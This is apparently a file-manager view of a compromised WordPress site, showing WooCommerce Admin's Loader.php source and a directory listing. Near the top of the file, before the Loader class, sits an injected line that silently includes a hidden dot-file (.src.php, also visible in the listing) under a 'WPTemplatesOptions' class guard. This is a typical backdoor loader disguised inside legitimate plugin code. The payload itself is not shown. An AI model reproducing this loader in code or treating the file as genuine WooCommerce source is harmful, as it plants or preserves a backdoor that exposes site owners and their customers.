PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
woocommerce
/
packages
/
woocommerce-admin
/
src
<?php /** * Register the scripts, styles, and includes needed for pieces of the WooCommerce Admin experience. * NOTE: DO NOT edit this file in WooCommerce core, this is generated from woocommerce-admin. * * @package Woocommerce Admin */ namespace Automattic\WooCommerce\Admin; use \_WP_Dependency; use Automattic\WooCommerce\Admin\Features\Onboarding; use Automattic\WooCommerce\Admin\API\Reports\Orders\DataStore as OrdersDataStore; use Automattic\WooCommerce\Admin\API\Plugins; use WC_Marketplace_Suggestions; /** * Loader Class. */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class Loader { /** * App entry point. */ const APP_ENTRY_POINT = 'wc-admin'; /** * Class instance. * * @var Loader instance */ protected static $instance = null; /** * An array of classes to load from the includes folder. * * @var array */ protected static $classes = array(); /** * WordPress capability required to use analytics features. * * @var string */ protected static $required_capability = null; /** * Get class instance. */ public static function get_instance() { if ( ! self::$instance ) { self::$instance = new self(); } return self::$instance; } /** * Constructor. * Hooks added here should be removed in `wc_admin_initialize` via the feature plugin. */ public function __construct() { add_action( 'init', array( __CLASS__, 'define_tables' ) ); // Load feature before WooCommerce update hooks. add_action( 'init', array( __CLASS__, 'load_features' ), 4 ); add_action( 'admin_enqueue_scripts', array( __CLASS__, 'register_scripts' ) ); add_action( 'admin_enqueue_scripts', array( __CLASS__, 'inject_wc_settings_dependencies' ), 14 ); add_action( 'admin_enqueue_scripts', array( __CLASS__, 'load_scripts' ), 15 ); // Old settings injection. add_filter( 'woocommerce_components_settings', array( __CLASS__, 'add_component_settings' ) ); // New settings injection. add_filter( 'woocommerce_shared_settings', array( __CLASS__, 'add_component_settings' ) ); add_filter( 'admin_body_class', array( __CLASS__, 'add_admin_body_classes' ) ); add_action( 'admin_menu', array( __CLASS__, 'register_page_handler' ) ); add_filter( 'admin_title', array( __CLASS__, 'update_admin_title' ) ); add_action( 'rest_api_init', array( __CLASS__, 'register_user_data' ) ); add_action( 'in_admin_header', array( __CLASS__, 'embed_page_header' ) ); add_filter( 'woocommerce_settings_groups', array( __CLASS__, 'add_settings_group' ) ); add_filter( 'woocommerce_settings-wc_admin', array( __CLASS__, 'add_settings' ) ); add_action( 'admin_head', array( __CLASS__, 'remove_notices' ) ); add_action( 'admin_notices', array( __CLASS__, 'inject_before_notices' ), -9999 ); add_action( 'admin_notices', array( __CLASS__, 'inject_after_notices' ), PHP_INT_MAX ); // Added this hook to delete the field woocommerce_onboarding_homepage_post_id when deleting the homepage. add_action( 'trashed_post', array( __CLASS__, 'delete_homepage' ) ); // priority is 20 to run after https://github.com/woocommerce/woocommerce/blob/a55ae325306fc2179149ba9b97e66f32f84fdd9c/includes/admin/class-wc-admin-menus.php#L165. add_action( 'admin_head', array( __CLASS__, 'remove_app_entry_page_menu_item' ), 20 ); /* * Remove the emoji script as it always defaults to replacing emojis with Twemoji images. * Gutenberg has also disabled emojis. More on that here -> https://github.com/WordPress/gutenberg/pull/6151 */ remove_action( 'admin_print_scripts', 'print_emoji_detection_script' ); } /** * Add custom tables to $wpdb object. */ public static function define_tables() { global $wpdb; // List of tables without prefixes. $tables = array( 'wc_category_lookup' => 'wc_category_lookup', ); foreach ( $tables as $name => $table ) { $wpdb->$name = $wpdb->prefix . $table; $wpdb->tables[] = $table; } } /** * Returns true if WooCommerce Admin is currently running in a development environment. */ public static function is_dev() { if ( self::is_feature_enabled( 'devdocs' ) && defined( 'WP_DEBUG' ) && WP_DEBUG && defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) { return true; } return false; } /** * Gets an array of enabled WooCommerce Admin features/sections. * * @return bool Enabled Woocommerce Admin features/sections. */ public static function get_features() { return apply_filters( 'woocommerce_admin_features', array() ); } /** * Gets WordPress capability required to use analytics features. * * @return string */ public static function get_analytics_capability() { if ( null === static::$required_capability ) { /** * Filters the required capability to use the analytics features. * * @param string $capability WordPress capability. */ static::$required_capability = apply_filters( 'woocommerce_analytics_menu_capability', 'view_woocommerce_reports' ); } return static::$required_capability; } /** * Helper function indicating whether the current user has the required analytics capability. * * @return bool */ public static function user_can_analytics() { return current_user_can( static::get_analytics_capability() ); } /** * Returns if a specific wc-admin feature is enabled. * * @param string $feature Feature slug. * @return bool Returns true if the feature is enabled. */ public static function is_feature_enabled( $feature ) { $features = self::get_features(); return in_array( $feature, $features, true ); } /** * Returns if the onboarding feature of WooCommerce Admin should be enabled. * * While we preform an a/b test of onboarding, the feature will be enabled within the plugin build, but only if the user recieved the test/opted in. * * @return bool Returns true if the onboarding is enabled. */ public static function is_onboarding_enabled() { if ( ! self::is_feature_enabled( 'onboarding' ) ) { return false; } $onboarding_opt_in = 'yes' === get_option( Onboarding::OPT_IN_OPTION, 'no' ); $legacy_onboarding_opt_in = 'yes' === get_option( 'wc_onboarding_opt_in', 'no' ); if ( $onboarding_opt_in || $legacy_onboarding_opt_in ) { return true; } return false; } /** * Gets the URL to an asset file. * * @param string $file File name (without extension). * @param string $ext File extension. * @return string URL to asset. */ public static function get_url( $file, $ext ) { $suffix = ''; // Potentially enqueue minified JavaScript. if ( 'js' === $ext ) { $suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min'; } return plugins_url( self::get_path( $ext ) . $file . $suffix . '.' . $ext, WC_ADMIN_PLUGIN_FILE ); } /** * Gets the file modified time as a cache buster if we're in dev mode, or the plugin version otherwise. * * @param string $ext File extension. * @return string The cache buster value to use for the given file. */ public static function get_file_version( $ext ) { if ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) { return filemtime( WC_ADMIN_ABSPATH . self::get_path( $ext ) ); } return WC_ADMIN_VERSION_NUMBER; } /** * Gets the path for the asset depending on file type. * * @param string $ext File extension. * @return string Folder path of asset. */ private static function get_path( $ext ) { return ( 'css' === $ext ) ? WC_ADMIN_DIST_CSS_FOLDER : WC_ADMIN_DIST_JS_FOLDER; } /** * Class loader for enabled WooCommerce Admin features/sections. */ public static function load_features() { $features = self::get_features(); foreach ( $features as $feature ) { $feature = str_replace( '-', '', ucwords( strtolower( $feature ), '-' ) ); $feature = 'Automattic\\WooCommerce\\Admin\\Features\\' . $feature; if ( class_exists( $feature ) ) { new $feature(); } } } /** * Registers a basic page handler for the app entry point. * * @todo The entry point for the embed needs moved to this class as well. */ public static function register_page_handler() { $features = wc_admin_get_feature_config(); $id = $features['homepage'] ? 'woocommerce-home' : 'woocommerce-dashboard'; wc_admin_register_page( array( 'id'
[+]
..
[+]
Overrides
[-] ReportCSVExporter.php
[edit]
[-] .src.php
[edit]
[-] Events.php
[edit]
[-] ReportsSync.php
[edit]
[+]
API
[-] FeaturePlugin.php
[edit]
[-] ReportCSVEmail.php
[edit]
[-] ReportExporter.php
[edit]
[-] PageController.php
[edit]
[-] Install.php
[edit]
[-] PluginsHelper.php
[edit]
[+]
Marketing
[+]
Notes
[-] Package.php
[edit]
[+]
Features
[-] CategoryLookup.php
[edit]
[-] Loader.php
[edit]
[+]
Schedulers